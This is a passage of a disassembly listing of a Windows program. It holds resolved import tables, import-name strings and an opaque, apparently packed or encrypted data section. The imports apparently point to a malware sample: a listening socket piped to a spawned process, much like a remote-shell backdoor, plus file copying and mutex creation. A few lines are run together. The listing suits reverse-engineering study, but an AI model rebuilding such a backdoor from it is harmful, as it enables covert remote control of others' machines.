dword_4E0440	dd 7C809E79h	; resolved to->KERNEL32.IsBadWritePtr					; sub_41E0F0+19r ...
dword_4E0444	dd 7C809E01h	; resolved to->KERNEL32.IsBadReadPtr					; sub_42A590+13r ...
dword_4E0448	dd 7C85E9BBh	; resolved to->KERNEL32.HeapValidate					; sub_416900+102r ...
dword_4E044C	dd 7C937A40h	; resolved to->NTDLL.RtlUnwinddword_4E0450	dd 7C80977Ah	; resolved to->KERNEL32.InterlockedDecrement					; sub_41A690+86r ...
dword_4E0454	dd 7C809766h	; resolved to->KERNEL32.InterlockedIncrement					; sub_41A890+Br ...
dword_4E0458	dd 7C801EEEh	; resolved to->KERNEL32.GetStartupInfoA					; sub_428460+87r ...
dword_4E045C	dd 7C812F1Dh	; resolved to->KERNEL32.GetCommandLineA					; .data:0043398Cr
dword_4E0460	dd 7C8111DAh	; resolved to->KERNEL32.GetVersion					; .data:00433992r
dword_4E0464	dd 7C859B72h	; resolved to->KERNEL32.DebugBreak					; .data:00433998r
dword_4E0468	dd 7C812F39h	; resolved to->KERNEL32.GetStdHandle					; .data:0041AFC8r ...
dword_4E046C	dd 7C859D78h	; resolved to->KERNEL32.OutputDebugStringA					; sub_41B010+2F3r ...
dword_4E0470	dd 7C809EF1h	; resolved to->KERNEL32.InitializeCriticalSection					; sub_41BBA0+16r ...
dword_4E0474	dd 7C860CF8h	; resolved to->KERNEL32.FatalAppExitA					; .data:004339B0r
dword_4E0478	dd 7C9105D4h	; resolved to->NTDLL.RtlAllocateHeap					; sub_41BEC0+136r ...
dword_4E047C	dd 7C9179FDh	; resolved to->NTDLL.RtlReAllocateHeap					; sub_41C020+1BBr ...
dword_4E0480	dd 7C91043Dh	; resolved to->NTDLL.RtlFreeHeap					; sub_41C6D0+11Ar ...
dword_4E0484	dd 7C809AE4h	; resolved to->KERNEL32.VirtualFree					; sub_41CBB0+545r ...
dword_4E0488	dd 7C809A51h	; resolved to->KERNEL32.VirtualAlloc					; sub_41D7E0+A7r ...
dword_4E048C	dd 7C814AF2h	; resolved to->KERNEL32.GetEnvironmentVariableA					; .data:004339D4r
dword_4E0490	dd 7C810EF8h	; resolved to->KERNEL32.HeapDestroy					; sub_41F8C0+7Cr ...
dword_4E0494	dd 7C812BB6h	; resolved to->KERNEL32.HeapCreate					; .data:004339E0r
dword_4E0498	dd 7C809728h	; resolved to->KERNEL32.GetCurrentThreadId					; sub_421920+66r ...
dword_4E049C	dd 7C809BC5h	; resolved to->KERNEL32.TlsSetValue					; sub_421920+50r ...
dword_4E04A0	dd 7C812D9Fh	; resolved to->KERNEL32.TlsAlloc					; .data:004339F2r
dword_4E04A4	dd 7C8136D7h	; resolved to->KERNEL32.TlsFree					; .data:004339F8r
dword_4E04A8	dd 7C910340h	; resolved to->NTDLL.RtlSetLastWin32Error					; .data:004339FEr
dword_4E04AC	dd 7C809740h	; resolved to->KERNEL32.TlsGetValue					; .data:004219DCr ...
dword_4E04B0	dd 7C8098EBh	; resolved to->KERNEL32.GetCurrentThread					; .data:00433A0Ar
dword_4E04B4	dd 7C812E76h	; resolved to->KERNEL32.GetCPInfo					; sub_421FA0+17r ...
dword_4E04B8	dd 7C809915h	; resolved to->KERNEL32.GetACP					; .data:00433A16r
dword_4E04BC	dd 7C8127A7h	; resolved to->KERNEL32.GetOEMCP					; .data:00433A1Cr
dword_4E04C0	dd 7C812A09h	; resolved to->KERNEL32.RaiseException					; .data:00433A22r ...
dword_4E04C4	dd 7C838DE8h	; resolved to->KERNEL32.LCMapStringA					; sub_4275A0+C0r ...
dword_4E04C8	dd 7C80CCA8h	; resolved to->KERNEL32.LCMapStringW					; sub_4275A0+1A5r ...
dword_4E04CC	dd 7C862E2Ah	; resolved to->KERNEL32.UnhandledExceptionFilter					; .data:00433A34r
dword_4E04D0	dd 7C81DF77h	; resolved to->KERNEL32.FreeEnvironmentStringsA					; sub_428240+208r ...
		align 8
dword_4E04D8	dd 7E41A8ADh	; resolved to->USER32.wsprintfA					; .data:00408AA4r ...
		align 10h
dword_4E04E0	dd 77C018BAh	dword_4E04E4	dd 77C01A50h	dword_4E04E8	dd 77C019FFh			align 10h
dword_4E04F0	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; .data:0043379Ar
dword_4E04F4	dd 71AB406Ah	; resolved to->WS2_32.connect					; .data:00433794r
dword_4E04F8	dd 71AB4428h	; resolved to->WS2_32.WSACleanup					; sub_40D78C+8Er ...
dword_4E04FC	dd 71AB664Dh	; resolved to->WS2_32.WSAStartup					; sub_40D70F+15r ...
dword_4E0500	dd 71AB3EA1h	; resolved to->WS2_32.setsockopt					; .data:00433782r
dword_4E0504	dd 71AB2BF4h	; resolved to->WS2_32.inet_addr					; .data:004337A0r
dword_4E0508	dd 71AB3E00h	; resolved to->WS2_32.bind					; .data:00433776r
dword_4E050C	dd 71AB88D3h	; resolved to->WS2_32.listen					; .data:00433770r
dword_4E0510	dd 71AC1028h	; resolved to->WS2_32.accept					; .data:0043376Ar
dword_4E0514	dd 71AB615Ah	; resolved to->WS2_32.recv					; .data:00433764r
dword_4E0518	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_40D70F+68r ...
dword_4E051C	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_40D0F7+54r ...
dword_4E0520	dd 71AB428Ah	; resolved to->WS2_32.send					; sub_40D0F7+D5r ...
dword_4E0524	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_40D0F7+106r ...
dword_4E0528	dd 71AB4544h	; resolved to->WS2_32.__WSAFDIsSetdword_4E052C	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; .data:0043377Cr
		dd 0
		dd 737702D7h, 6E697270h, 416674h, 52455355h, 642E3233h
		dd 6C6Ch, 5F325357h, 642E3233h,	6C6Ch, 6556000Ah, 65755172h
		dd 61567972h, 4165756Ch, 0
aGetfileversion	db 'GetFileVersionInfoA',0
		db    1
		align 2
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
		db '¹',0
aExitprocess	db 'ExitProcess',0
a4_0		db '4',0
aClosehandle	db 'CloseHandle',0
aF		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 4
		db  7Dh	; }
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1C1h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db  56h	; V
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  6Fh	; o
		align 2
aCreatethread	db 'CreateThread',0
		align 4
aG		db 'ƒ',0
aDeletefilea	db 'DeleteFileA',0
		dw 286h
aOpenprocess	db 'OpenProcess',0
		db  43h	; C
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 171h
aGetlasterror	db 'GetLastError',0
		align 2
aC_4		db 'C',0
aCopyfilea	db 'CopyFileA',0
		dw 319h
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db  5Eh	; ^
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 17Fh
aGetmodulehandl	db 'GetModuleHandleA',0
		db 0, 90h, 3
aWaitforsingleo	db 'WaitForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		db 0DFh	; ß
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db 0D5h	; Õ
		db 1, 47h, 65h
aTtemppatha	db 'tTempPathA',0
		align 4
		db  6Eh	; n
		db 2, 4Dh, 6Fh
aVefilea	db 'veFileA',0
		db  5Fh	; _
		db 3, 54h, 65h
aRminatethread	db 'rminateThread',0
		dw 252h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
		dw 1A0h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db 0C9h	; É
		db 3, 6Ch, 73h
aTrcpyna	db 'trcpynA',0
		db 0C0h	; À
		db 3, 6Ch, 73h
aTrcmpa		db 'trcmpA',0
		align 4
		db 0C6h	; Æ
		db 3, 6Ch, 73h
aTrcpya		db 'trcpyA',0
		align 10h
		db 0CCh
		db 3, 6Ch, 73h
aTrlena		db 'trlenA',0
		align 4
		db  14h
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 10h
		db  74h	; t
		db 1, 47h, 65h
aTlocaleinfoa	db 'tLocaleInfoA',0
		align 2
		dw 1E9h
aGetversionexa	db 'GetVersionExA',0
		db 'º',0
aExitthread	db 'ExitThread',0
		align 10h
		db  51h	; Q
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aS_30		db '˜',0
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
		db  24h	; $
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aB		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		dd 725703A4h, 46657469h, 656C69h, 655202B5h, 69466461h
		dd 656Ch, 6554035Eh, 6E696D72h,	50657461h, 65636F72h, 7373h
		dd 75440093h, 63696C70h, 48657461h, 6C646E61h, 1420065h
aGetcurrentproc	db 'GetCurrentProcess',0
aE_0		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 10h
		db 0E0h	; à
		db 1, 47h, 65h
aTtimeformata	db 'tTimeFormatA',0
		align 2
		dw 147h
aGetdateformata	db 'GetDateFormatA',0
		align 4
		db  63h	; c
		db 1, 47h, 65h
aTfilesize	db 'tFileSize',0
aS_31		db 'S',0
aCreatefilea	db 'CreateFileA',0
		db 'Î',0
aFindclose	db 'FindClose',0
		db 'Å',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 4
		db 'Ä',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db 'Ü',0
aFindnextfilea	db 'FindNextFileA',0
		db 'Ò',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 10h
		dd 6553031Bh, 6C694674h, 696F5065h, 7265746Eh, 38E0000h
aWaitformulti_0	db 'WaitForMultipleObjects',0
		align 4
		db 0FCh	; ü
		align 2
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
		dd 65470173h, 636F4C74h, 69546C61h, 656Dh, 6F4600F3h, 74616D72h
		dd 7373654Dh, 41656761h, 20A0000h, 626F6C47h, 6E556C61h
		dd 6B636F6Ch, 2030000h,	626F6C47h, 6F4C6C61h, 6B63h, 6E550371h
		dd 5670616Dh, 4F776569h, 6C694666h, 2680065h, 5670614Dh
		dd 4F776569h, 6C694666h, 540065h
aCreatefilemapp	db 'CreateFileMappingA',0
		align 10h
		db  1Fh
		db 3, 53h, 65h
aTfiletime	db 'tFileTime',0
		dw 165h
aGetfiletime	db 'GetFileTime',0
		db '¼',0
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dd 724600F8h, 694C6565h, 72617262h, 3940079h
aWidechartomult	db 'WideCharToMultiByte',0
		db  75h	; u
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 3
aLstrcmpia	db 'lstrcmpiA',0
		dw 15Ah
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db  91h	; ‘
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db  78h	; x
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db    4
		db 2, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		dw 236h
aIsbadwriteptr	db 'IsBadWritePtr',0
		dw 233h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 220h
aHeapvalidate	db 'HeapValidate',0
		align 2
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 228h
aInterlockeddec	db 'InterlockedDecrement',0
		align 2
		dw 22Ch
aInterlockedinc	db 'InterlockedIncrement',0
		align 2
		dw 1B7h
aGetstartupinfo	db 'GetStartupInfoA',0
		dd 65470110h, 6D6F4374h, 646E616Dh, 656E694Ch, 1E80041h
		dd 56746547h, 69737265h, 6E6Fh,	65440078h, 42677562h, 6B616572h
		dd 1B90000h, 53746547h,	61486474h, 656C646Eh, 28D0000h
aOutputdebugstr	db 'OutputDebugStringA',0
		align 10h
		db  23h	; #
		db 2, 49h, 6Eh
aItializecrit_0	db 'itializeCriticalSection',0
		db 'À',0
aFatalappexita	db 'FatalAppExitA',0
		db  10h
		db 2, 48h, 65h
aApalloc	db 'apAlloc',0
		db  1Ah
		db 2, 48h, 65h
aAprealloc	db 'apReAlloc',0
		dw 216h
aHeapfree	db 'HeapFree',0
		align 2
		dw 383h
aVirtualfree	db 'VirtualFree',0
		db  81h	; 
		db 3, 56h, 69h
aRtualalloc	db 'rtualAlloc',0
		align 10h
		db  58h	; X
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableA',0
		dw 214h
aHeapdestroy	db 'HeapDestroy',0
		dd 65480212h, 72437061h, 65746165h, 1460000h
aGetcurrentthre	db 'GetCurrentThreadId',0
		align 4
		dd 6C540366h, 74655373h, 756C6156h, 3630065h, 41736C54h
		dd 636F6C6Ch, 3640000h,	46736C54h, 656572h, 65530328h
		dd 73614C74h, 72724574h, 726Fh,	6C540365h, 74654773h, 756C6156h
		dd 1450065h, 43746547h,	65727275h, 6854746Eh, 64616572h
		dd 1040000h, 43746547h,	666E4950h, 0FD006Fh, 41746547h
		dd 5043h, 65470193h, 4D454F74h,	5043h, 615202A7h, 45657369h
		dd 70656378h, 6E6F6974h, 2440000h, 614D434Ch, 72745370h
		dd 41676E69h, 2450000h,	614D434Ch, 72745370h, 57676E69h
		dd 36E0000h
aUnhandledexcep	db 'UnhandledExceptionFilter',0
		align 2
		dw 0F6h
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		db 0F7h	; ÷
		align 2
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		dw 155h
aGetenvironment	db 'GetEnvironmentStrings',0
		dw 157h
aGetenvironme_0	db 'GetEnvironmentStringsW',0
		align 4
		db  24h	; $
		db 3, 53h, 65h
aThandlecount	db 'tHandleCount',0
		align 2
		dw 166h
aGetfiletype	db 'GetFileType',0
		db 0EEh	; î
		db 2, 53h, 65h
aTconsolectrlha	db 'tConsoleCtrlHandler',0
		db  37h	; 7
		db 3, 53h, 65h
aTstdhandle	db 'tStdHandle',0
		align 10h
aU		db 'î',0
aFlushfilebuffe	db 'FlushFileBuffers',0
		align 4
		db 0BAh	; º
		db 1, 47h, 65h
aTstringtypea	db 'tStringTypeA',0
		align 2
		dw 1BDh
aGetstringtypew	db 'GetStringTypeW',0
		align 4
		db  4Ah	; J
		db 3, 53h, 65h
aTunhandledexce	db 'tUnhandledExceptionFilter',0
		dw 230h
aIsbadcodeptr	db 'IsBadCodePtr',0
		align 2
		dw 241h
aIsvalidlocale	db 'IsValidLocale',0
		dw 23Fh
aIsvalidcodepag	db 'IsValidCodePage',0
aP		db '¯',0
aEnumsystemloca	db 'EnumSystemLocalesA',0
		align 2
		dw 1E3h
aGetuserdefault	db 'GetUserDefaultLCID',0
		align 4
		db  10h
		db 3, 53h, 65h
aTendoffile	db 'tEndOfFile',0
		align 4
		db 0E2h	; â
		db 1, 47h, 65h
aTtimezoneinfor	db 'tTimeZoneInformation',0
		align 2
		dw 175h
aGetlocaleinfow	db 'GetLocaleInfoW',0
		align 10h
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 2
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 4
		db  13h
		db 3, 53h, 65h
aTenvironment_0	db 'tEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 4
		dd 0C99h dup(0)
		db 3 dup(0)
byte_4E4143	db 0			; DATA XREF: .data:00447D2Co
		dd 2 dup(0)
dword_4E414C	dd 0		dword_4E4150	dd 1FDh	dup(0)			db 2 dup(0)
word_4E4946	dw 0			; DATA XREF: .data:00447B6Co
					; .data:00447B74o
		dd 27Fh	dup(0)
		db 0
byte_4E5345	db 3 dup(0)		; DATA XREF: .data:00447CF8o
		align 1000h
_data		ends

; Section 2. (virtual address 000E6000)
; Virtual size			: 0001A040 ( 106560.)
; Section size in file		: 0001A040 ( 106560.)
; Offset to raw	data for section: 000E6000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_pdata		segment	para public 'CODE' use32
		assume cs:_pdata
		;org 4E6000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
		dd 8000005Eh, 0A22A0000h, 981285D9h, 0F64BD2BAh, 0A9BFDC62h
		dd 0B0A8B0B2h, 92B78F57h, 98CA49A6h, 81D9EBA5h,	146D1750h
		dd 0C86FA0D6h, 4DF1B102h, 65C3BBDh, 988FDB53h, 0B8650903h
		dd 474A2A96h, 713E1517h, 2500C120h, 0FF063005h,	0ADD9D17Dh
		dd 0B3B15CF2h, 86A311C8h, 92454110h, 888153C6h,	61D37872h
		dd 9266BFFh, 0F978255h,	70EAD424h, 0A96EF036h, 0E0E26E7Bh
		dd 3BEECE32h, 619F6EB7h, 715BE887h, 0C9F599D6h,	0F4A72D7Ah
		dd 0D73A6EA3h, 51DA9F11h, 9F68ECCh, 83845377h, 69A77B47h
		dd 4369753Eh, 0AD0C35C9h, 0F063335h, 98343F53h,	6979E306h
		dd 0D322A325h, 0B5E624F0h, 9A3F636h, 74EA76E6h,	3CB8122Dh
		dd 0E176FC82h, 99EDF3C3h, 0C39BF5DAh, 0C0788274h, 8268EE2Dh
		dd 45F62A01h, 2363035Dh, 0A7383A10h, 0B2C7285Ah, 0C3BCAB95h
		dd 12ED7103h, 4AD3FE3Ah, 433A68B2h, 6165323Dh, 0A7C71D54h
		dd 7D40F56h, 0C1C6EAA9h, 4B0EE5ACh, 0A437B7D9h,	711E38A0h
		dd 0B2B26CD2h, 0BB23C3F2h, 0C41252BCh, 0A2262951h, 604A9353h
		dd 0B1490025h, 0DCA06B4Eh, 18363B0Fh, 9E97A86Bh, 99116CF1h
		dd 0DFD1A996h, 2BA743FDh, 0AD0C47E1h, 0BAD83CFBh, 0EDDFE954h
		dd 0D149E763h, 1FE50E71h, 86758DB4h, 6EBCF035h,	7FDDB754h
		dd 635ACB81h, 0CB0A7520h, 88EDAB59h, 0EE5013DDh, 0E8C09891h
		dd 1178C021h, 173AFB63h, 0C0796D34h, 8A52F334h,	28127878h
		dd 6A7D9187h, 0C32C77A4h, 0FB8BC217h, 4C345A0Ah, 0B1527438h
		dd 96DA263Ch, 0D5E9F36h, 500CE6DDh, 0E584861Ch,	9CA6253Bh
		dd 0A1A4211Eh, 0D8DA638h, 4BDB62EFh, 53E6150Ch,	3E1B9625h
		dd 0FCBE5019h, 18A6AAD6h, 6B3D537Bh, 0D915EF34h, 992F8A96h
		dd 0E727488Ch, 5D151274h, 0BC706550h, 9C365C48h, 0E6384891h
		dd 5A55CC15h, 8CEE811Bh, 5385608Ch, 0CEC199A2h,	4F51A5C4h
		dd 0E114CCF7h, 0CA6914B2h, 7E7FCC80h, 7187A92Ch, 0B5BF82A7h
		dd 0D84B7DF3h, 0DD69C4C2h, 0ADAD1679h, 0F9EAF8D6h, 48594D95h
		dd 97EBCF87h, 263750F3h, 6C28FDA9h, 8FFAF5C6h, 8B4D1E1h
		dd 0C39D3614h, 0DD66DEBAh, 7CB0B3E4h, 0FC91604h, 0A53302B5h
		dd 0E03A01AAh, 1173D817h, 0AFC5AF55h, 0E7D31C84h, 6EC2195Dh
		dd 14F0E216h, 1B433A40h, 0F4E69EB4h, 1D6C7C53h,	71AF3698h
		dd 7244115Ah, 7CCC0EA9h, 17DD9B7Fh, 0B63E3DA3h,	3646B48h
		dd 0D34CC08Ah, 0A93D9EE1h, 0BCCC48A5h, 1C3AC338h, 0C34BA30Dh
		dd 0D1423CE3h, 0D603EFB7h, 4A120550h, 2717DF42h, 9CCE1CD4h
		dd 19917F61h, 715CD73Dh, 82422512h, 85EBAF41h, 6C6307BEh
		dd 0D4AFDADAh, 3B9EF4C4h, 0FFD4D4DBh, 0B82544E1h, 493D1DA7h
		dd 3C237261h, 25E50F3Ah, 0B5E837A1h, 0E8E52347h, 40A37AFFh
		dd 79417216h, 0DA3FD2D6h, 0B4AEE462h, 2E1B2D2Ch, 75DAD563h
		dd 2EF2AB44h, 0FE1B942Ch, 29C99592h, 124FF580h,	0D5FD623h
		dd 0A2AF07ABh, 0E34792A3h, 901CF346h, 85C0BBB2h, 34BB276h
		dd 3F8CFA41h, 85026F0h,	7A38617Eh, 6DDFF447h, 804AF9Ch
		dd 0D72A5B7Fh, 0FCF6F2BBh, 0E2871383h, 6AF7695Bh, 3A0D17EBh
		dd 1E03D67Fh, 263358CBh, 15A1DA12h, 0F5560707h,	0CEA2DE74h
		dd 0A1CF6EF1h, 81E750Bh, 0F331F231h, 0A1789C84h, 7AE38460h
		dd 0F5169EF5h, 0D7E09A53h, 0EF3778DAh, 67C6910Eh, 0F0A03265h
		dd 0FA99EBD7h, 0CB40E38Ah, 33869180h, 43417FE3h, 2DC4FC1Eh
		dd 0A8220590h, 695616D5h, 70765AF7h, 51D9679Ah,	6C61612Dh
		dd 0A72EBA62h, 22207D9Eh, 7386AD37h, 941146C6h,	3164CA6Bh
		dd 0BFA35D9Fh, 0BD25C8DDh, 0FA4C17CBh, 0F8A78C19h, 68569D7Bh
		dd 80D2D0F2h, 0D9F7C256h, 0EA6B3BAEh, 70645927h, 26552318h
		dd 77723992h, 463B74E0h, 0D8E02278h, 0EBC43678h, 95CC667Ch
		dd 0D2536589h, 5E79DF8Dh, 0CB6436F1h, 0ED8E4E5Bh, 59F636A6h
		dd 659C8BF9h, 941CE488h, 6C512621h, 0E0EA4729h,	0BA3B84Ch
		dd 0A8846466h, 0A813E837h, 94EAB115h, 5BEC8A0Eh, 0C56906C9h
		dd 0C1D4965Ch, 6F665315h, 4B61DDEh, 90D62BEFh, 0D1844878h
		dd 163023E6h, 0B2F47811h, 27694794h, 0D762EEE0h, 0E2BB721Eh
		dd 0F536A79Eh, 76F33866h, 0FB437FA1h, 0DA1AC213h, 0B908DC78h
		dd 9BF7718Eh, 0A9925F58h, 8C0560DAh, 1A838B09h,	806F334Bh
		dd 0D012BDCCh, 0B582386h, 9EF5B1F3h, 0FD226449h, 0F9E345CBh
		dd 0DBD12BFh, 39E1592Eh, 5014657Dh, 131F818Eh, 451B0FA6h
		dd 0DE988EA0h, 2CF25084h, 0CF23F52Ah, 0E20ED396h, 0BAC424A3h
		dd 35D56702h, 0CF7EC35Ah, 60E8A549h, 668D3286h,	68429435h
		dd 591C2203h, 42ECA9B2h, 77CAE45Eh, 154315AAh, 6990B739h
		dd 0DE9B9267h, 55C9F417h, 0C2783857h, 1DA9161Ah, 78B98881h
		dd 214007E2h, 1307D849h, 0E8E58489h, 162675B2h,	0B02E8B7Eh
		dd 944DDE8Fh, 74AB0D77h, 0E7ADEE66h, 0DD4C4B3Dh, 3CD4A1D8h
		dd 0C1198C81h, 0E8CE0297h, 0AC05B160h, 0ECA8BEA4h, 87D8C05Dh
		dd 5E79873Eh, 0ED8E1196h, 7D911C5Ah, 0C538CDC6h, 0DFA6AE8Bh
		dd 0FF67EE22h, 51B0296h, 4A2C0989h, 0AFDC38A7h,	985088EDh
		dd 0E4B2328Fh, 9D92565Eh, 54F737F8h, 0E88A26C7h, 33AFEC78h
		dd 0B3FB0CEBh, 14D75ED6h, 37F7EF2Ah, 0B2A1FA7Ah, 410AD1D3h
		dd 0A5FC092Fh, 0F8D565D8h, 0AC52C3A9h, 4BCB3759h, 561BFBA0h
		dd 83A4D5D4h, 63759C59h, 5280580Fh, 0BA6811EBh,	32BF213Eh
		dd 29B3E6A1h, 37C70ADBh, 490469FAh, 0ACF1A99Dh,	49C210DAh
		dd 7DDC7B47h, 19B5E2C9h, 58F70C85h, 36E57DD2h, 0EE10BF43h
		dd 94EA61FFh, 0EA6AFDD9h, 7A19F6C8h, 717121F1h,	9E3D518Dh
		dd 0DAF8E31Ch, 0C8BE826Eh, 7B09C666h, 72E8A4FDh, 889C22A9h
		dd 0C3C04D57h, 0D82461D7h, 8D3A69F6h, 8144D516h, 65C725F1h
		dd 9ABE74B8h, 0F48AACDh, 0AC5C8878h, 47C3637Dh,	1CE4A7Fh
		dd 0ED97B485h, 1DE7887Bh, 17C52634h, 9723E463h,	0DFCB00DFh
		dd 32841401h, 5AE164E1h, 0CA6EB6FFh, 0FC056C17h, 483E7707h
		dd 71112CB5h, 6E399D71h, 15C5BB4h, 13738D52h, 0BE167682h
		dd 15F150F7h, 0D051F9Ah, 0CDEF8E4Ah, 55286527h,	332936A4h
		dd 0B5475B01h, 0DF7151B6h, 159A0EB0h, 7373985Ah, 0AC750427h
		dd 5458060Ch, 0C7BBB3CEh, 1DA563Ah, 2FDF0787h, 0ACB350F6h
		dd 717CE84Ch, 0BA1F00Ch, 9AC0184Fh, 5844E8F6h, 410543FBh
		dd 0C4F48682h, 94402DA5h, 6956BE13h, 4EEF9B03h,	8B1A90BDh
		dd 9457491h, 6444F3C8h,	6E85E633h, 13A9680Fh, 486FF0C8h
		dd 530577BAh, 9323F53Dh, 84C3F999h, 8E45ED31h, 6E915C5Ch
		dd 0EF3B28EFh, 244E866Ch, 352F488Dh, 4178B780h,	29629678h
		dd 0D87A8C57h, 0CF8668C8h, 960AC5BDh, 144E382Ah, 6E7D7877h
		dd 815294ACh, 0ECC6A48Dh, 0E8B4D698h, 52964F42h, 5D3A7A79h
		dd 8A5B09A2h, 8E09B01Ch, 48B874B4h, 54EE85CAh, 6B24D671h
		dd 6AF0A68Eh, 9DC1F74Fh, 0F404FEFBh, 0CE526067h, 5D7E8806h
		dd 3A5C50D9h, 65BE13A9h, 1F42FD3Fh, 0FE818D11h,	0A5FEDEDCh
		dd 9E542173h, 0E9F10DE9h, 0BCDD3B03h, 1008AB3h,	0E3E4AA70h
		dd 63C25483h, 0AB920728h, 50507A02h, 0E416AB45h, 245C1D0Ah
		dd 405E0C93h, 172A1F4Eh, 1DACCFACh, 0E5973BC6h,	0C4BFC742h
		dd 6FA902D1h, 0B3CC221Fh, 66D586C8h, 0E3338A1h,	0F5EB3828h
		dd 4D45CBBFh, 729EC8DCh, 29E338C8h, 0F64DF7FBh,	4BACBA4Eh
		dd 0DC9C8C24h, 586D85AAh, 0C281D7E8h, 75618D0Bh, 441327A7h
		dd 7DB75E2Bh, 6BBDA0FCh
		dd 227FA765h, 2D6E2EACh, 0C56D8BBBh, 0ED051310h, 227E2352h
		dd 5E40BF86h, 0A0A90AE8h, 0FF60C8D8h, 0CDCF241Eh, 34B58B75h
		dd 81C34B42h, 2B5B4CFEh, 66AADC87h, 154FC9E9h, 25C025FCh
		dd 814E7081h, 0D7B8B396h, 1C91FA2Dh, 5744A20Bh,	84097782h
		dd 7CBC0455h, 36547D78h, 0A896039Eh, 55D84C34h,	73336E1Fh
		dd 3AF840F9h, 0D54D114h, 0FD095858h, 0B302C0CDh, 9C25F86Dh
		dd 0A0B89493h, 0CCA861D1h, 0BDB86164h, 92C94B0Ch, 0ADA14D7Fh
		dd 7712A09Bh, 0A5BF1674h, 6B88A8A8h, 5AA8413Bh,	0A5949FABh
		dd 6D5E8FA3h, 71CACEADh, 8969F0DFh, 3080B575h, 0C133EEE4h
		dd 8847D393h, 0D48B92E6h, 936588A7h, 0A0A9E4Dh,	62891714h
		dd 902BCAE6h, 0B9B0733Ah, 0E3346C46h, 6C7C9B78h, 0CB3F845h
		dd 9BBF25E4h, 16841828h, 292CAE0Ch, 4F636E7h, 2F176426h
		dd 9E0B74AFh, 5B77AD86h, 7C0B77F3h, 0C7C2E0B6h,	3E2357F6h
		dd 647D3400h, 87678E5Ch, 2C7ACC7Ah, 0E64F4DFFh,	0CA240F9Ah
		dd 4B65FDFEh, 0D6C9D457h, 0A9982362h, 0F1DAAAD9h, 0DA1F2021h
		dd 7D938E3Ah, 38EDB14Ch, 0D9BCDB2Eh, 64CF7BE0h,	0DE77952Ah
		dd 0FE6CE406h, 0E40837B0h, 1153EBEFh, 0A9149BC2h, 0E882BA62h
		dd 21A5416Eh, 0EAB5F2DAh, 253C45A5h, 85A34EF6h,	54C65582h
		dd 0B7EE2716h, 4B5B60CCh, 0EAAB476Ch, 5D01CBBDh, 90189798h
		dd 0F437FE20h, 9DA5A621h, 4ADE6A10h, 0FDB9CC08h, 0F6FF80F7h
		dd 0C7FFA420h, 0A38FA4E7h, 61AEAAC2h, 60ED7789h, 0D086D052h
		dd 0F36AC2B9h, 7EBFF0E7h, 810CB840h, 0BD69CA97h, 853C20A8h
		dd 140B8159h, 0D1640F10h, 8F0E944Ah, 0D6277CCCh, 4065887Bh
		dd 0FAB1E379h, 86D1FF68h, 89EEDE56h, 319B91D1h,	58809B67h
		dd 66F9C967h, 0BA1E67E0h, 60DB8C9Bh, 0C880369Bh, 0DE0D9627h
		dd 0BB0EBD68h, 7209AC98h, 0F07E7EE0h, 8CA0D1CCh, 0DB280AFDh
		dd 340AD43h, 6723A5EEh,	0AD6F4BF0h, 7946510Dh, 8BB5EF53h
		dd 11E49045h, 6D3D7768h, 80014324h, 4E4E88E2h, 0C0A06A54h
		dd 0E7A47661h, 970E3A8Ah, 0D90384BAh, 0BA2DBFFFh, 0D8E02047h
		dd 7467C7C2h, 0FD0B7542h, 0BC48F423h, 0DF37C127h, 40754EF2h
		dd 45C1AA43h, 4D001204h, 0D06A2867h, 3E4E2FF4h,	0E2C78DCBh
		dd 8FD122A8h, 1CD60037h, 39F47DA9h, 3DD7352Bh, 92164B18h
		dd 360BE720h, 729739D4h, 0E5833FF0h, 25A60FD3h,	794A0006h
